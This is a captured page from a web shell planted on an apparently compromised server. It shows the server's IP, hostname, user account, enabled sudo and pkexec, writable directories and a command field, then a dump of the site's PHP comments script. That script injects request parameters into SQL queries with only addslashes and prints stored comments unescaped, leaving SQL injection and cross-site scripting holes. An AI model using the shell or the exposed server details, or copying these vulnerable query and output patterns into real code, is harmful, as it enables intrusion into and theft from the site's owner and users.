403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/mod_comments.php
<?php
/*
content_type // SECTION
------------
0=model
1=photographer
2=photoset
3=blog
*/
require_once('config.php');
dbconn();

if (isset($_GET['page'])) { $page = addslashes($_GET['page']); } else { $page = "1"; }
if (isset($_GET['ct'])) { $content_type = addslashes($_GET['ct']); }
if (isset($_GET['cid'])) { $content_id = addslashes($_GET['cid']); }

if (!isset($content_type) || !isset($content_id)) { // IF NO SECTION... REDIRECT
printf("<meta http-equiv=\"Refresh\" content=\"0;url=./index.php\">"); 
die("invalid - redirecting...");
}

if (!isset($page_limit)) { $page_limit = 25; }

$limit_start = $page * $page_limit - $page_limit;
	
$get_total = @mysql_query("SELECT `cms_members_comments`.`comment_id` FROM `cms_members_comments`
INNER JOIN `cms_members` ON `cms_members`.`member_id` = `cms_members_comments`.`member_id`
WHERE `cms_members_comments`.`content_type` = '".$content_type."'
AND `cms_members_comments`.`content_id` = '".$content_id."'
AND `cms_members_comments`.`approved` = '1'");


$total_rows = @mysql_num_rows($get_total);
$total_pages = ceil($total_rows / $page_limit);

$grab_sql = @mysql_query("SELECT `cms_members_comments`.`comment_id`,
`cms_members_comments`.`member_id`,
`cms_members_comments`.`date`,
`cms_members_comments`.`comment`,
`cms_members`.`display_name`,
`cms_members`.`feature`
FROM `cms_members_comments`
INNER JOIN `cms_members` ON `cms_members`.`member_id` = `cms_members_comments`.`member_id`
WHERE `cms_members_comments`.`content_type` = '".$content_type."'
AND `cms_members_comments`.`content_id` = '".$content_id."'
AND `cms_members_comments`.`approved` = '1'
ORDER BY `cms_members`.`feature` DESC, `cms_members_comments`.`comment_id` DESC LIMIT ".$limit_start.",".$page_limit);


if(@mysql_num_rows($grab_sql) == 0) { // IF NO RECORDS
?>
<table border="0" cellspacing="10" cellpadding="0" align="center"><tr><td><div align="center">sorry! no results.</div></td></tr></table>
<?
} else {

		unset($row);
		
		while ($row = mysql_fetch_array($grab_sql)) {
				$dt = explode("-", $row['date']);
				$date = date("F jS, Y", mktime(0, 0, 0, $dt[1], $dt[2], $dt[0]));
				$display_name = stripslashes($row['display_name']);
				$comment = stripslashes($row['comment']);
				if ($row['feature'] == 1) {
					$featured = "*";
				} else {
					$featured = "";
				}
				
				if ($row['member_id'] == $member_id) {
				$edit = " - <a href=\"acct_comments_edit.php?id=".$row['comment_id']."\">edit</a>";
				} else {
				$edit = "";
				}
				
			if ($member_id == 0) {
					$message_url = "join.php";
				} else {
					$message_url = "acct_messages.php?view=".$display_name;
				}
				
?>
<table width="600" border="0" cellspacing="10" cellpadding="0">
<tr><td><span class="brown24px"><?=$featured.$display_name?></span><?=$edit?> - <a href="<?=$message_url?>">send message!</a></td></tr>
<tr><td><span class="brown18px"><?=$date?></span></td></tr>
<tr><td><?=$comment?></td></tr>
</table>
<hr size="1" color="#d1d1d1"/>
<?
		}

		
if ($total_pages > 1 && $show_pagination == 1) {
	$pagination = pagination($_SERVER['PHP_SELF']."?cid=".$content_id."&ct=".$content_type,$page,$total_pages);
	echo $pagination;
}
	
if ($total_pages > 1 && $show_pagination == 0) {
	echo "<div align=\"center\"><a href=\"comments.php?cid=".$content_id."&ct=".$content_type."\">view all comments!</a></div>";
}

}


	if ($member_id == 0) {
		echo "<div align=\"center\"><br><br><a href=\"join.php\">you must join to leave comments</a></div>";
	} else {
	?>
<br />
<div align="center">
<span class="brown24px">Post your own comment!</span><br />
<span class="brown18px">400 character limit</span><br />
<br />
<form method="post" action="comments_submit.php">
<textarea name="comment" cols="70" rows="7" onkeyup="limit(this)"></textarea>
<input type="hidden" name="content_type" value="<?=$content_type?>" />
<input type="hidden" name="content_id" value="<?=$content_id?>" />
<br />
<input type="submit" value="     submit comment     " name="post" style="width:170px;">
</form>
</div>
  <?
	}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit